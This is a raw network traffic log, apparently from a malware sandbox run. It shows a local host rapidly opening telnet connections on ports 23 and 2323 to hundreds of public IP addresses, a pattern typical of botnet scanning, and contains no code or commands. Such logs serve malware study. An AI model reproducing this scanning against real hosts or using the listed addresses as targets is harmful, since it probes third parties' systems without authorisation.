Nov 3, 2024 15:37:15.507726908 CET	36201	23	192.168.2.14	163.207.58.186
Nov 3, 2024 15:37:15.507734060 CET	36201	23	192.168.2.14	167.254.155.93
Nov 3, 2024 15:37:15.507740974 CET	36201	23	192.168.2.14	89.158.130.242
Nov 3, 2024 15:37:15.507759094 CET	36201	23	192.168.2.14	210.164.206.199
Nov 3, 2024 15:37:15.507761002 CET	36201	2323	192.168.2.14	14.68.233.88
Nov 3, 2024 15:37:15.507776022 CET	36201	23	192.168.2.14	205.221.159.235
Nov 3, 2024 15:37:15.507778883 CET	36201	23	192.168.2.14	75.49.80.216
Nov 3, 2024 15:37:15.507778883 CET	36201	23	192.168.2.14	142.252.208.188
Nov 3, 2024 15:37:15.507778883 CET	36201	23	192.168.2.14	75.131.1.21
Nov 3, 2024 15:37:15.507796049 CET	36201	23	192.168.2.14	17.189.46.195
Nov 3, 2024 15:37:15.507797956 CET	36201	23	192.168.2.14	222.169.29.121
Nov 3, 2024 15:37:15.507797956 CET	36201	23	192.168.2.14	90.141.249.176
Nov 3, 2024 15:37:15.507811069 CET	36201	23	192.168.2.14	107.79.62.157
Nov 3, 2024 15:37:15.507814884 CET	36201	23	192.168.2.14	123.236.37.49
Nov 3, 2024 15:37:15.507831097 CET	36201	23	192.168.2.14	107.93.6.2
Nov 3, 2024 15:37:15.507831097 CET	36201	2323	192.168.2.14	115.187.214.0
Nov 3, 2024 15:37:15.507844925 CET	36201	23	192.168.2.14	165.221.237.63
Nov 3, 2024 15:37:15.507844925 CET	36201	23	192.168.2.14	115.1.131.199
Nov 3, 2024 15:37:15.507858992 CET	36201	23	192.168.2.14	20.209.163.151
Nov 3, 2024 15:37:15.507859945 CET	36201	23	192.168.2.14	179.27.65.73
Nov 3, 2024 15:37:15.507863045 CET	36201	23	192.168.2.14	42.72.218.17
Nov 3, 2024 15:37:15.507874966 CET	36201	23	192.168.2.14	112.144.83.190
Nov 3, 2024 15:37:15.507879019 CET	36201	23	192.168.2.14	133.124.142.23
Nov 3, 2024 15:37:15.507898092 CET	36201	2323	192.168.2.14	189.233.193.139
Nov 3, 2024 15:37:15.507899046 CET	36201	23	192.168.2.14	191.169.83.140
Nov 3, 2024 15:37:15.507900000 CET	36201	23	192.168.2.14	192.215.42.63
Nov 3, 2024 15:37:15.507915020 CET	36201	23	192.168.2.14	27.115.22.129
Nov 3, 2024 15:37:15.507915020 CET	36201	23	192.168.2.14	195.245.29.65
Nov 3, 2024 15:37:15.507915974 CET	36201	23	192.168.2.14	170.177.40.42
Nov 3, 2024 15:37:15.507930994 CET	36201	23	192.168.2.14	164.165.88.2
Nov 3, 2024 15:37:15.507932901 CET	36201	23	192.168.2.14	13.183.213.188
Nov 3, 2024 15:37:15.507949114 CET	36201	23	192.168.2.14	35.151.183.140
Nov 3, 2024 15:37:15.507951021 CET	36201	23	192.168.2.14	144.28.247.248
Nov 3, 2024 15:37:15.507965088 CET	36201	2323	192.168.2.14	223.74.44.124
Nov 3, 2024 15:37:15.507966042 CET	36201	23	192.168.2.14	118.180.125.37
Nov 3, 2024 15:37:15.507967949 CET	36201	23	192.168.2.14	150.202.102.48
Nov 3, 2024 15:37:15.507973909 CET	36201	23	192.168.2.14	208.85.173.236
Nov 3, 2024 15:37:15.507982016 CET	36201	23	192.168.2.14	135.66.238.146
Nov 3, 2024 15:37:15.507994890 CET	36201	23	192.168.2.14	8.246.3.170
Nov 3, 2024 15:37:15.507997990 CET	36201	23	192.168.2.14	142.157.247.19
Nov 3, 2024 15:37:15.508002996 CET	36201	23	192.168.2.14	218.167.130.61
Nov 3, 2024 15:37:15.508008957 CET	36201	23	192.168.2.14	218.225.149.176
Nov 3, 2024 15:37:15.508023024 CET	36201	23	192.168.2.14	159.195.5.235
Nov 3, 2024 15:37:15.508023024 CET	36201	23	192.168.2.14	112.189.210.101
Nov 3, 2024 15:37:15.508032084 CET	36201	2323	192.168.2.14	159.233.207.95
Nov 3, 2024 15:37:15.508038998 CET	36201	23	192.168.2.14	100.236.71.32
Nov 3, 2024 15:37:15.508054018 CET	36201	23	192.168.2.14	36.176.208.187
Nov 3, 2024 15:37:15.508061886 CET	36201	23	192.168.2.14	61.203.140.40
Nov 3, 2024 15:37:15.508071899 CET	36201	23	192.168.2.14	77.102.137.232
Nov 3, 2024 15:37:15.508079052 CET	36201	23	192.168.2.14	78.225.147.38
Nov 3, 2024 15:37:15.508079052 CET	36201	23	192.168.2.14	84.65.200.41
Nov 3, 2024 15:37:15.508093119 CET	36201	23	192.168.2.14	93.144.119.173
Nov 3, 2024 15:37:15.508099079 CET	36201	23	192.168.2.14	101.13.12.25
Nov 3, 2024 15:37:15.508115053 CET	36201	2323	192.168.2.14	44.32.35.130
Nov 3, 2024 15:37:15.508115053 CET	36201	23	192.168.2.14	220.154.42.183
Nov 3, 2024 15:37:15.508117914 CET	36201	23	192.168.2.14	151.200.199.160
Nov 3, 2024 15:37:15.508126020 CET	36201	23	192.168.2.14	149.222.147.174
Nov 3, 2024 15:37:15.508136988 CET	36201	23	192.168.2.14	20.165.209.29
Nov 3, 2024 15:37:15.508136988 CET	36201	23	192.168.2.14	89.20.74.2
Nov 3, 2024 15:37:15.508152008 CET	36201	23	192.168.2.14	220.23.189.255
Nov 3, 2024 15:37:15.508157969 CET	36201	23	192.168.2.14	9.198.69.192
Nov 3, 2024 15:37:15.508168936 CET	36201	23	192.168.2.14	182.242.48.70
Nov 3, 2024 15:37:15.508174896 CET	36201	23	192.168.2.14	79.94.164.254
Nov 3, 2024 15:37:15.508177996 CET	36201	23	192.168.2.14	88.25.22.55
Nov 3, 2024 15:37:15.508186102 CET	36201	2323	192.168.2.14	34.88.200.36
Nov 3, 2024 15:37:15.508210897 CET	36201	23	192.168.2.14	134.238.133.69
Nov 3, 2024 15:37:15.508213043 CET	36201	23	192.168.2.14	146.112.137.26
Nov 3, 2024 15:37:15.508213997 CET	36201	23	192.168.2.14	196.239.244.115
Nov 3, 2024 15:37:15.508219004 CET	36201	23	192.168.2.14	81.230.193.81
Nov 3, 2024 15:37:15.508219004 CET	36201	23	192.168.2.14	194.158.111.115
Nov 3, 2024 15:37:15.508219004 CET	36201	23	192.168.2.14	151.107.255.155
Nov 3, 2024 15:37:15.508220911 CET	36201	23	192.168.2.14	64.19.185.118
Nov 3, 2024 15:37:15.508219004 CET	36201	23	192.168.2.14	18.178.25.65
Nov 3, 2024 15:37:15.508233070 CET	36201	23	192.168.2.14	111.70.134.154
Nov 3, 2024 15:37:15.508238077 CET	36201	23	192.168.2.14	109.144.106.125
Nov 3, 2024 15:37:15.508239985 CET	36201	2323	192.168.2.14	166.2.104.37
Nov 3, 2024 15:37:15.508245945 CET	36201	23	192.168.2.14	191.234.208.99
Nov 3, 2024 15:37:15.508258104 CET	36201	23	192.168.2.14	206.225.66.3
Nov 3, 2024 15:37:15.508260012 CET	36201	23	192.168.2.14	77.203.36.40
Nov 3, 2024 15:37:15.508274078 CET	36201	23	192.168.2.14	70.223.84.218
Nov 3, 2024 15:37:15.508275986 CET	36201	23	192.168.2.14	169.203.5.210
Nov 3, 2024 15:37:15.508275986 CET	36201	23	192.168.2.14	40.181.20.113
Nov 3, 2024 15:37:15.508291960 CET	36201	23	192.168.2.14	219.41.132.64
Nov 3, 2024 15:37:15.508292913 CET	36201	23	192.168.2.14	124.56.213.56
Nov 3, 2024 15:37:15.508327961 CET	53818	2323	192.168.2.14	75.150.181.148
Nov 3, 2024 15:37:15.508344889 CET	41104	23	192.168.2.14	84.159.114.234
Nov 3, 2024 15:37:15.508358002 CET	34406	23	192.168.2.14	19.199.76.214
Nov 3, 2024 15:37:15.508377075 CET	60288	23	192.168.2.14	161.1.233.190
Nov 3, 2024 15:37:15.508388042 CET	49652	23	192.168.2.14	101.191.226.88
Nov 3, 2024 15:37:15.508398056 CET	60546	23	192.168.2.14	83.55.127.80
Nov 3, 2024 15:37:15.508415937 CET	33926	23	192.168.2.14	91.217.59.175
Nov 3, 2024 15:37:15.508430958 CET	50708	2323	192.168.2.14	90.74.165.178
Nov 3, 2024 15:37:15.508449078 CET	43310	23	192.168.2.14	77.111.235.119
Nov 3, 2024 15:37:15.508450985 CET	33162	23	192.168.2.14	220.70.117.204
Nov 3, 2024 15:37:15.508465052 CET	53994	23	192.168.2.14	94.68.223.185
Nov 3, 2024 15:37:15.508481026 CET	43974	23	192.168.2.14	123.125.28.252
Nov 3, 2024 15:37:15.508495092 CET	56076	23	192.168.2.14	202.120.82.225
Nov 3, 2024 15:37:15.508506060 CET	50654	23	192.168.2.14	108.150.232.220
Nov 3, 2024 15:37:15.508522987 CET	39968	23	192.168.2.14	162.115.254.237
Nov 3, 2024 15:37:15.508534908 CET	38246	23	192.168.2.14	117.161.70.63
Nov 3, 2024 15:37:15.508557081 CET	35282	23	192.168.2.14	168.18.58.218
Nov 3, 2024 15:37:15.508569002 CET	41258	23	192.168.2.14	48.238.195.77
Nov 3, 2024 15:37:15.508569002 CET	52062	23	192.168.2.14	32.206.16.20
Nov 3, 2024 15:37:15.508582115 CET	60134	2323	192.168.2.14	78.224.64.205
Nov 3, 2024 15:37:15.508599043 CET	50448	23	192.168.2.14	189.50.156.35
Nov 3, 2024 15:37:15.508616924 CET	33426	23	192.168.2.14	101.82.243.7
Nov 3, 2024 15:37:15.508627892 CET	45312	23	192.168.2.14	65.3.178.217
Nov 3, 2024 15:37:15.508641005 CET	60210	23	192.168.2.14	112.250.69.75
Nov 3, 2024 15:37:15.508655071 CET	37800	23	192.168.2.14	91.221.171.240
Nov 3, 2024 15:37:15.508655071 CET	54540	23	192.168.2.14	43.106.152.250
Nov 3, 2024 15:37:15.508671045 CET	42716	23	192.168.2.14	62.187.118.119
Nov 3, 2024 15:37:15.508687973 CET	57886	23	192.168.2.14	204.59.29.58
Nov 3, 2024 15:37:15.508696079 CET	37208	23	192.168.2.14	110.100.167.201
Nov 3, 2024 15:37:15.508722067 CET	38512	23	192.168.2.14	176.99.128.140
Nov 3, 2024 15:37:15.508966923 CET	43350	2323	192.168.2.14	63.163.23.69
Nov 3, 2024 15:37:15.508975029 CET	55782	23	192.168.2.14	198.215.158.61
Nov 3, 2024 15:37:15.508985043 CET	44408	2323	192.168.2.14	161.105.79.84
Nov 3, 2024 15:37:15.509002924 CET	54400	23	192.168.2.14	85.27.178.70
Nov 3, 2024 15:37:15.512129068 CET	23	36201	44.93.32.40	192.168.2.14
Nov 3, 2024 15:37:15.512161016 CET	2323	36201	46.1.7.102	192.168.2.14
Nov 3, 2024 15:37:15.512190104 CET	36201	23	192.168.2.14	44.93.32.40
Nov 3, 2024 15:37:15.512214899 CET	36201	2323	192.168.2.14	46.1.7.102
Nov 3, 2024 15:37:15.512216091 CET	23	36201	166.142.106.215	192.168.2.14
Nov 3, 2024 15:37:15.512245893 CET	23	36201	163.44.183.10	192.168.2.14
Nov 3, 2024 15:37:15.512262106 CET	36201	23	192.168.2.14	166.142.106.215
Nov 3, 2024 15:37:15.512276888 CET	23	36201	113.61.218.231	192.168.2.14
Nov 3, 2024 15:37:15.512288094 CET	36201	23	192.168.2.14	163.44.183.10
Nov 3, 2024 15:37:15.512325048 CET	36201	23	192.168.2.14	113.61.218.231
Nov 3, 2024 15:37:15.512335062 CET	23	36201	42.111.60.63	192.168.2.14
Nov 3, 2024 15:37:15.512373924 CET	36201	23	192.168.2.14	42.111.60.63
Nov 3, 2024 15:37:15.512381077 CET	23	36201	105.225.1.91	192.168.2.14
Nov 3, 2024 15:37:15.512411118 CET	2323	36201	154.5.229.2	192.168.2.14
Nov 3, 2024 15:37:15.512415886 CET	36201	23	192.168.2.14	105.225.1.91
Nov 3, 2024 15:37:15.512442112 CET	23	36201	113.212.148.129	192.168.2.14
Nov 3, 2024 15:37:15.512449980 CET	36201	2323	192.168.2.14	154.5.229.2
Nov 3, 2024 15:37:15.512473106 CET	23	36201	157.163.185.142	192.168.2.14
Nov 3, 2024 15:37:15.512491941 CET	36201	23	192.168.2.14	113.212.148.129
Nov 3, 2024 15:37:15.512515068 CET	36201	23	192.168.2.14	157.163.185.142
Nov 3, 2024 15:37:15.512525082 CET	23	36201	173.2.100.76	192.168.2.14
Nov 3, 2024 15:37:15.512554884 CET	23	36201	102.138.245.114	192.168.2.14
Nov 3, 2024 15:37:15.512561083 CET	36201	23	192.168.2.14	173.2.100.76
Nov 3, 2024 15:37:15.512593031 CET	36201	23	192.168.2.14	102.138.245.114
Nov 3, 2024 15:37:16.132915020 CET	2323	57956	184.146.6.31	192.168.2.14
Nov 3, 2024 15:37:16.133085012 CET	57956	2323	192.168.2.14	184.146.6.31
Nov 3, 2024 15:37:16.133122921 CET	59788	2323	192.168.2.14	184.146.6.31
Nov 3, 2024 15:37:16.133122921 CET	36201	2323	192.168.2.14	76.219.225.187
Nov 3, 2024 15:37:16.133131981 CET	36201	23	192.168.2.14	115.255.171.139
Nov 3, 2024 15:37:16.133146048 CET	36201	23	192.168.2.14	217.255.92.199
Nov 3, 2024 15:37:16.133155107 CET	36201	23	192.168.2.14	74.102.159.6
Nov 3, 2024 15:37:16.133158922 CET	36201	23	192.168.2.14	119.240.78.133
Nov 3, 2024 15:37:16.133171082 CET	36201	23	192.168.2.14	223.192.77.224
Nov 3, 2024 15:37:16.133171082 CET	36201	23	192.168.2.14	150.249.119.122
Nov 3, 2024 15:37:16.133171082 CET	36201	2323	192.168.2.14	111.165.24.13
Nov 3, 2024 15:37:16.133179903 CET	36201	23	192.168.2.14	58.242.212.93
Nov 3, 2024 15:37:16.133186102 CET	36201	23	192.168.2.14	150.250.80.200
Nov 3, 2024 15:37:16.133186102 CET	36201	23	192.168.2.14	204.18.191.177
Nov 3, 2024 15:37:16.133186102 CET	36201	23	192.168.2.14	223.188.142.32
Nov 3, 2024 15:37:16.133186102 CET	36201	23	192.168.2.14	1.131.183.133
Nov 3, 2024 15:37:16.133205891 CET	36201	23	192.168.2.14	90.166.154.147
Nov 3, 2024 15:37:16.133205891 CET	36201	23	192.168.2.14	126.245.223.231
Nov 3, 2024 15:37:16.133208036 CET	36201	23	192.168.2.14	14.249.99.146
Nov 3, 2024 15:37:16.133220911 CET	36201	23	192.168.2.14	181.62.171.211
Nov 3, 2024 15:37:16.133222103 CET	36201	23	192.168.2.14	192.23.173.227
Nov 3, 2024 15:37:16.133222103 CET	36201	23	192.168.2.14	74.2.128.165
Nov 3, 2024 15:37:16.133222103 CET	36201	2323	192.168.2.14	188.113.175.72
Nov 3, 2024 15:37:16.133229017 CET	36201	23	192.168.2.14	19.157.79.111
Nov 3, 2024 15:37:16.133239031 CET	36201	23	192.168.2.14	159.254.242.122
Nov 3, 2024 15:37:16.133243084 CET	36201	23	192.168.2.14	41.163.132.167
Nov 3, 2024 15:37:16.133244038 CET	36201	23	192.168.2.14	71.104.220.97
Nov 3, 2024 15:37:16.133244038 CET	36201	23	192.168.2.14	115.126.144.166
Nov 3, 2024 15:37:16.133260012 CET	36201	23	192.168.2.14	165.106.75.38
Nov 3, 2024 15:37:16.133263111 CET	36201	23	192.168.2.14	99.30.146.82
Nov 3, 2024 15:37:16.133264065 CET	36201	23	192.168.2.14	62.221.23.229
Nov 3, 2024 15:37:16.133269072 CET	36201	23	192.168.2.14	61.152.193.65
Nov 3, 2024 15:37:16.133275032 CET	36201	23	192.168.2.14	100.154.199.38
Nov 3, 2024 15:37:16.133286953 CET	36201	2323	192.168.2.14	184.252.60.22
Nov 3, 2024 15:37:16.133286953 CET	36201	23	192.168.2.14	139.218.118.52
Nov 3, 2024 15:37:16.133291960 CET	36201	23	192.168.2.14	91.96.221.255
Nov 3, 2024 15:37:16.133297920 CET	36201	23	192.168.2.14	17.12.226.248
Nov 3, 2024 15:37:16.133301973 CET	36201	23	192.168.2.14	84.231.103.223
Nov 3, 2024 15:37:16.133311033 CET	36201	23	192.168.2.14	141.228.154.160
Nov 3, 2024 15:37:16.133318901 CET	36201	23	192.168.2.14	44.0.234.239
Nov 3, 2024 15:37:16.133326054 CET	36201	23	192.168.2.14	146.104.122.224
Nov 3, 2024 15:37:16.133326054 CET	36201	23	192.168.2.14	54.7.152.20
Nov 3, 2024 15:37:16.133352041 CET	36201	23	192.168.2.14	70.243.100.82
Nov 3, 2024 15:37:16.133356094 CET	36201	2323	192.168.2.14	126.71.233.174
Nov 3, 2024 15:37:16.133356094 CET	36201	23	192.168.2.14	218.239.235.243
Nov 3, 2024 15:37:16.133359909 CET	36201	23	192.168.2.14	159.206.44.143
Nov 3, 2024 15:37:16.133373022 CET	36201	23	192.168.2.14	173.90.225.163
Nov 3, 2024 15:37:16.133383036 CET	36201	23	192.168.2.14	142.90.110.28
Nov 3, 2024 15:37:16.133383036 CET	36201	23	192.168.2.14	175.36.88.60
Nov 3, 2024 15:37:16.133383036 CET	36201	23	192.168.2.14	58.59.189.111
Nov 3, 2024 15:37:16.133383036 CET	36201	23	192.168.2.14	210.39.80.43
Nov 3, 2024 15:37:16.133384943 CET	36201	23	192.168.2.14	39.129.254.10
Nov 3, 2024 15:37:16.133383036 CET	36201	23	192.168.2.14	90.135.11.2
Nov 3, 2024 15:37:16.133399963 CET	36201	23	192.168.2.14	186.41.150.45
Nov 3, 2024 15:37:16.133402109 CET	36201	2323	192.168.2.14	192.84.103.134
Nov 3, 2024 15:37:16.133402109 CET	36201	23	192.168.2.14	223.68.115.148
Nov 3, 2024 15:37:16.133403063 CET	36201	23	192.168.2.14	63.90.192.76
Nov 3, 2024 15:37:16.133419991 CET	36201	23	192.168.2.14	194.101.242.236
Nov 3, 2024 15:37:16.133419991 CET	36201	23	192.168.2.14	114.56.113.73
Nov 3, 2024 15:37:16.133421898 CET	36201	23	192.168.2.14	98.45.148.70
Nov 3, 2024 15:37:16.133423090 CET	36201	23	192.168.2.14	211.167.163.250
Nov 3, 2024 15:37:16.133440018 CET	36201	23	192.168.2.14	82.179.1.22
Nov 3, 2024 15:37:16.133444071 CET	36201	2323	192.168.2.14	211.170.10.153
Nov 3, 2024 15:37:16.133445024 CET	36201	23	192.168.2.14	170.187.237.13
Nov 3, 2024 15:37:16.133450985 CET	36201	23	192.168.2.14	19.155.37.100
Nov 3, 2024 15:37:16.133450985 CET	36201	23	192.168.2.14	81.151.111.217
Nov 3, 2024 15:37:16.133452892 CET	36201	23	192.168.2.14	104.87.163.150
Nov 3, 2024 15:37:16.133455992 CET	36201	23	192.168.2.14	94.78.220.66
Nov 3, 2024 15:37:16.133466959 CET	36201	23	192.168.2.14	195.216.171.15
Nov 3, 2024 15:37:16.133474112 CET	36201	23	192.168.2.14	156.37.33.23
Nov 3, 2024 15:37:16.133474112 CET	36201	23	192.168.2.14	48.225.35.77
Nov 3, 2024 15:37:16.133486986 CET	36201	2323	192.168.2.14	117.151.7.249
Nov 3, 2024 15:37:16.133487940 CET	36201	23	192.168.2.14	204.255.158.105
Nov 3, 2024 15:37:16.133488894 CET	36201	23	192.168.2.14	172.199.194.121
Nov 3, 2024 15:37:16.133492947 CET	36201	23	192.168.2.14	36.97.163.142
Nov 3, 2024 15:37:16.133496046 CET	36201	23	192.168.2.14	152.22.245.10
Nov 3, 2024 15:37:16.133500099 CET	36201	23	192.168.2.14	117.32.136.99
Nov 3, 2024 15:37:16.133514881 CET	36201	23	192.168.2.14	87.225.57.3
Nov 3, 2024 15:37:16.133514881 CET	36201	23	192.168.2.14	221.27.168.105
Nov 3, 2024 15:37:16.133519888 CET	36201	23	192.168.2.14	53.27.210.46
Nov 3, 2024 15:37:16.133521080 CET	36201	23	192.168.2.14	210.209.121.189
Nov 3, 2024 15:37:16.133521080 CET	36201	23	192.168.2.14	173.231.85.3
Nov 3, 2024 15:37:16.133526087 CET	36201	23	192.168.2.14	75.139.157.44
Nov 3, 2024 15:37:16.133537054 CET	36201	23	192.168.2.14	165.85.208.167
Nov 3, 2024 15:37:16.133537054 CET	36201	2323	192.168.2.14	135.248.78.20
Nov 3, 2024 15:37:16.133543968 CET	36201	23	192.168.2.14	211.112.171.92
Nov 3, 2024 15:37:16.133552074 CET	36201	23	192.168.2.14	119.105.129.242
Nov 3, 2024 15:37:16.133558989 CET	36201	23	192.168.2.14	18.7.198.249
Nov 3, 2024 15:37:16.133559942 CET	36201	23	192.168.2.14	184.143.170.28
Nov 3, 2024 15:37:16.133569956 CET	36201	23	192.168.2.14	76.81.25.167
Nov 3, 2024 15:37:16.133572102 CET	36201	23	192.168.2.14	167.139.6.77
Nov 3, 2024 15:37:16.133572102 CET	36201	23	192.168.2.14	35.42.108.44
Nov 3, 2024 15:37:16.133579016 CET	36201	23	192.168.2.14	178.195.89.215
Nov 3, 2024 15:37:16.133584976 CET	36201	2323	192.168.2.14	141.54.188.233
Nov 3, 2024 15:37:16.133590937 CET	36201	23	192.168.2.14	123.179.125.80
Nov 3, 2024 15:37:16.133591890 CET	36201	23	192.168.2.14	138.210.140.200
Nov 3, 2024 15:37:16.133593082 CET	36201	23	192.168.2.14	87.243.28.157
Nov 3, 2024 15:37:16.133608103 CET	36201	23	192.168.2.14	191.69.124.82
Nov 3, 2024 15:37:16.133610010 CET	36201	23	192.168.2.14	154.96.157.72
Nov 3, 2024 15:37:16.133619070 CET	36201	23	192.168.2.14	13.121.141.144
Nov 3, 2024 15:37:16.133619070 CET	36201	23	192.168.2.14	190.32.12.31
Nov 3, 2024 15:37:16.133626938 CET	36201	23	192.168.2.14	181.25.18.160
Nov 3, 2024 15:37:16.133641005 CET	36201	2323	192.168.2.14	148.220.227.219
Nov 3, 2024 15:37:16.133642912 CET	36201	23	192.168.2.14	222.137.175.210
Nov 3, 2024 15:37:16.133644104 CET	36201	23	192.168.2.14	152.161.223.227
Nov 3, 2024 15:37:16.133642912 CET	36201	23	192.168.2.14	102.242.206.149
Nov 3, 2024 15:37:16.133642912 CET	36201	23	192.168.2.14	135.239.94.96
Nov 3, 2024 15:37:16.133646011 CET	36201	23	192.168.2.14	204.212.83.131
Nov 3, 2024 15:37:16.133646011 CET	36201	23	192.168.2.14	86.74.141.157
Nov 3, 2024 15:37:16.133650064 CET	36201	23	192.168.2.14	180.154.157.177
Nov 3, 2024 15:37:16.133667946 CET	36201	23	192.168.2.14	175.224.63.160
Nov 3, 2024 15:37:16.133667946 CET	36201	23	192.168.2.14	157.82.183.85
Nov 3, 2024 15:37:16.133671045 CET	36201	23	192.168.2.14	167.233.93.211
Nov 3, 2024 15:37:16.133676052 CET	36201	2323	192.168.2.14	203.127.73.146
Nov 3, 2024 15:37:16.133690119 CET	36201	23	192.168.2.14	90.159.246.134
Nov 3, 2024 15:37:16.133690119 CET	36201	23	192.168.2.14	187.38.68.95
Nov 3, 2024 15:37:16.133697033 CET	36201	23	192.168.2.14	135.100.86.222
Nov 3, 2024 15:37:16.133697033 CET	36201	23	192.168.2.14	176.177.229.214
Nov 3, 2024 15:37:16.133697987 CET	36201	23	192.168.2.14	202.86.253.214
Nov 3, 2024 15:37:16.133699894 CET	36201	23	192.168.2.14	99.26.25.220
Nov 3, 2024 15:37:16.133706093 CET	36201	23	192.168.2.14	184.108.65.163
Nov 3, 2024 15:37:16.133706093 CET	36201	23	192.168.2.14	74.250.161.194
Nov 3, 2024 15:37:16.133706093 CET	36201	23	192.168.2.14	113.51.111.247
Nov 3, 2024 15:37:16.133719921 CET	36201	2323	192.168.2.14	145.119.122.211
Nov 3, 2024 15:37:16.133723021 CET	36201	23	192.168.2.14	141.74.201.205
Nov 3, 2024 15:37:16.133724928 CET	36201	23	192.168.2.14	51.3.200.120
Nov 3, 2024 15:37:16.133724928 CET	36201	23	192.168.2.14	168.5.103.145
Nov 3, 2024 15:37:16.133728981 CET	36201	23	192.168.2.14	19.18.18.123
Nov 3, 2024 15:37:16.133728981 CET	36201	23	192.168.2.14	174.209.190.148
Nov 3, 2024 15:37:16.133749008 CET	36201	23	192.168.2.14	78.245.17.207
Nov 3, 2024 15:37:16.133749962 CET	36201	23	192.168.2.14	213.137.10.107
Nov 3, 2024 15:37:16.133752108 CET	36201	2323	192.168.2.14	220.203.7.84
Nov 3, 2024 15:37:16.133753061 CET	36201	23	192.168.2.14	76.255.88.105
Nov 3, 2024 15:37:16.133753061 CET	36201	23	192.168.2.14	142.139.143.94
Nov 3, 2024 15:37:16.133765936 CET	36201	23	192.168.2.14	163.218.141.205
Nov 3, 2024 15:37:16.133770943 CET	36201	23	192.168.2.14	63.100.90.2
Nov 3, 2024 15:37:16.133776903 CET	36201	23	192.168.2.14	65.221.172.169
Nov 3, 2024 15:37:16.133776903 CET	36201	23	192.168.2.14	104.195.69.232
Nov 3, 2024 15:37:16.133778095 CET	36201	23	192.168.2.14	211.74.192.116
Nov 3, 2024 15:37:16.133794069 CET	36201	23	192.168.2.14	86.96.99.38
Nov 3, 2024 15:37:16.133796930 CET	36201	23	192.168.2.14	162.68.202.84
Nov 3, 2024 15:37:16.133799076 CET	36201	23	192.168.2.14	189.47.138.95
Nov 3, 2024 15:37:16.133801937 CET	36201	23	192.168.2.14	145.103.228.212
Nov 3, 2024 15:37:16.133810043 CET	36201	23	192.168.2.14	94.84.228.179
Nov 3, 2024 15:37:16.133814096 CET	36201	2323	192.168.2.14	148.143.251.116
Nov 3, 2024 15:37:16.133822918 CET	36201	23	192.168.2.14	189.141.190.59
Nov 3, 2024 15:37:16.133822918 CET	36201	23	192.168.2.14	205.209.237.168
Nov 3, 2024 15:37:16.133837938 CET	36201	23	192.168.2.14	174.250.204.189
Nov 3, 2024 15:37:16.133838892 CET	36201	23	192.168.2.14	147.151.250.161
Nov 3, 2024 15:37:16.133840084 CET	36201	23	192.168.2.14	115.28.95.176
Nov 3, 2024 15:37:16.133840084 CET	36201	23	192.168.2.14	158.216.239.102
Nov 3, 2024 15:37:16.133846998 CET	36201	23	192.168.2.14	169.166.64.43
Nov 3, 2024 15:37:16.133862972 CET	36201	23	192.168.2.14	84.237.130.101
Nov 3, 2024 15:37:16.133862972 CET	36201	23	192.168.2.14	94.245.117.220
Nov 3, 2024 15:37:16.133863926 CET	36201	23	192.168.2.14	207.38.17.67
Nov 3, 2024 15:37:16.133867979 CET	36201	23	192.168.2.14	17.130.110.213
Nov 3, 2024 15:37:16.133867979 CET	36201	2323	192.168.2.14	181.184.107.240
Nov 3, 2024 15:37:16.133867979 CET	36201	23	192.168.2.14	220.93.249.240
Nov 3, 2024 15:37:16.133872032 CET	36201	23	192.168.2.14	8.242.161.137
Nov 3, 2024 15:37:16.133874893 CET	36201	23	192.168.2.14	71.202.80.127
Nov 3, 2024 15:37:16.133877993 CET	36201	23	192.168.2.14	163.49.252.37
Nov 3, 2024 15:37:16.133888006 CET	36201	23	192.168.2.14	80.131.159.234
Nov 3, 2024 15:37:16.133888006 CET	36201	23	192.168.2.14	81.234.62.237
Nov 3, 2024 15:37:16.133912086 CET	50698	23	192.168.2.14	44.93.32.40
Nov 3, 2024 15:37:16.133917093 CET	43086	2323	192.168.2.14	46.1.7.102
Nov 3, 2024 15:37:16.133924961 CET	48748	23	192.168.2.14	166.142.106.215
Nov 3, 2024 15:37:16.133939028 CET	60712	23	192.168.2.14	163.44.183.10
Nov 3, 2024 15:37:16.133949041 CET	48142	23	192.168.2.14	113.61.218.231
Nov 3, 2024 15:37:16.133953094 CET	40034	23	192.168.2.14	42.111.60.63
Nov 3, 2024 15:37:16.133968115 CET	36980	23	192.168.2.14	105.225.1.91
Nov 3, 2024 15:37:16.133968115 CET	42782	2323	192.168.2.14	154.5.229.2
Nov 3, 2024 15:37:16.133984089 CET	49224	23	192.168.2.14	113.212.148.129
Nov 3, 2024 15:37:16.133994102 CET	42130	23	192.168.2.14	157.163.185.142
Nov 3, 2024 15:37:16.134001017 CET	43804	23	192.168.2.14	173.2.100.76
Nov 3, 2024 15:37:16.134008884 CET	33482	23	192.168.2.14	102.138.245.114
Nov 3, 2024 15:37:16.138118982 CET	2323	57956	184.146.6.31	192.168.2.14
Nov 3, 2024 15:37:16.138150930 CET	23	36201	115.255.171.139	192.168.2.14
Nov 3, 2024 15:37:16.138180971 CET	2323	59788	184.146.6.31	192.168.2.14
Nov 3, 2024 15:37:16.138205051 CET	36201	23	192.168.2.14	115.255.171.139
Nov 3, 2024 15:37:16.138226986 CET	59788	2323	192.168.2.14	184.146.6.31
Nov 3, 2024 15:37:16.138264894 CET	51500	23	192.168.2.14	115.255.171.139
Nov 3, 2024 15:37:16.138379097 CET	23	36201	217.255.92.199	192.168.2.14
Nov 3, 2024 15:37:16.138425112 CET	2323	36201	76.219.225.187	192.168.2.14
Nov 3, 2024 15:37:16.138452053 CET	36201	23	192.168.2.14	217.255.92.199
Nov 3, 2024 15:37:16.138454914 CET	23	36201	119.240.78.133	192.168.2.14
Nov 3, 2024 15:37:16.138464928 CET	36201	2323	192.168.2.14	76.219.225.187
Nov 3, 2024 15:37:16.138485909 CET	23	36201	74.102.159.6	192.168.2.14
Nov 3, 2024 15:37:16.138494015 CET	36201	23	192.168.2.14	119.240.78.133
Nov 3, 2024 15:37:16.138515949 CET	23	36201	58.242.212.93	192.168.2.14
Nov 3, 2024 15:37:16.138526917 CET	36201	23	192.168.2.14	74.102.159.6
Nov 3, 2024 15:37:16.138546944 CET	23	36201	150.250.80.200	192.168.2.14
Nov 3, 2024 15:37:16.138556957 CET	36201	23	192.168.2.14	58.242.212.93
Nov 3, 2024 15:37:16.138576984 CET	23	36201	204.18.191.177	192.168.2.14
Nov 3, 2024 15:37:16.138586998 CET	36201	23	192.168.2.14	150.250.80.200
Nov 3, 2024 15:37:16.138607025 CET	23	36201	223.188.142.32	192.168.2.14
Nov 3, 2024 15:37:16.138616085 CET	36201	23	192.168.2.14	204.18.191.177
Nov 3, 2024 15:37:16.138645887 CET	36201	23	192.168.2.14	223.188.142.32
